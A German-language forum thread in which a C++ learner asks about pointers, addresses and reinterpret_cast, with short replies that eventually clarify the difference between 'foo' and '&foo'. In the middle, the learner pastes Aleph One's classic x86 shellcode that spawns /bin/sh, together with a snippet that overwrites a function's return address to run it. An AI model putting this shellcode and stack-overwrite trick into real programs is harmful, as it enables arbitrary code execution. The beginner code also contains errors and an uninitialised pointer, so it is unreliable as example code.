einige fragen zu typumwandlungen/adressen etc.

ich habe mal das hier eingegeben und erschreckendes festgestellt!
1.)

int *ret;
cout<<&ret<<endl; //0xbf947ab8
cout<<ret<<endl; //0xbf947ac8

genau wie das:
2.)

nt *ret;
ret = new int(5);
cout<<&ret<<endl; //0xbfc2429c
cout<<ret<<endl; //0x805a880
cout<<*ret<<endl; //5

oder das:
3.)

char* string = "hallo";
int adresse = reinterpret_cast<int>(string); 
cout<<"adresse von string "<<adresse<<" = "<<&string<<endl;

char* stringCopy = reinterpret_cast<char*>(adresse);
cout<<"adresse von stringCopy = "<<&stringCopy<<endl;
cout<<stringCopy<<endl;

3.)
also ich finde es sehr eigenartig, dass zwei zeiger auf unterschiedliche adressen zeigen, aber trotzdem den selben inhalt haben!!!

2.) und 1.) dann finde ich die unterschiedliche adresse sehr eigenartig! eigentlich -dachte ich zumindest- ist der zeiger nur eine adresse, und auf den inhalt kommt man nur mit dem dereferenzierungsoperator?!

und jetzt verurteilt micht nicht wegen diesem code aus dem unixboard!!!

/* By Aleph One */
char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

ich dachte folglich also immer dass

ret = (int *)&ret + 2;

das selbe ist wie

ret = (int *)ret + 2;

aber letzeres führt zu nem fehler!!

dass heißt folglich, ich habe die ganze zeigerproblematik NICHT verstanden!!!

könnte mir einer bitte mal eine aufklärung geben!

MFG @all

anmerkung: an sich würde ich nur gerne wissen warum es nicht geht

int *pt;
&pt = new int(5);

zu machen...

und was der unterschied zwischen: "&pt und nur pt" ist! wo doch beide bei einem cout sowas wie eine adresse ausgeben! bisher habe ich es nur immer so gemacht, dass ich keine fehler bekommen habe! aber ich würde gerne wissen, warum die zeiger funktionieren!

finix

int foo;
std::cout << "foo: " << foo << '\n'
          << "_Adresse_ von foo: " << &foo;

Darüber solltest du mal meditieren.

int foo;
std::cout << "foo: " << foo << '\n'
          << "_Adresse_ von foo: " << &foo;

inhalt von foo, dann adresse von foo!

aber:

int *foo;
std::cout << "foo: " << foo << '\n'
          << "_Adresse_ von foo: " << &foo;

dann wäre das aber der inhalt und dann wieder die adresse?! aber das kann doch nicht sein, weil man nur an den inhalt kommt, wenn man dereferenziert?!
also

int *foo;
std::cout << "foo: " << *foo << '\n'
          << "_Adresse_ von foo: " << foo;

KURIOS

ich habs!

int *foo;
cout<<foo; //adresse des pointer
cout<<&foo; //adresse auf was foo zeigt?!

kann das sein?

YASC

andersrum

int *foo;
cout<<foo; //adresse auf was foo zeigt?!
cout<<&foo; //adresse des pointer

super, jetzt verstehe ich endlich, diese recht interessante typumwandlung!!!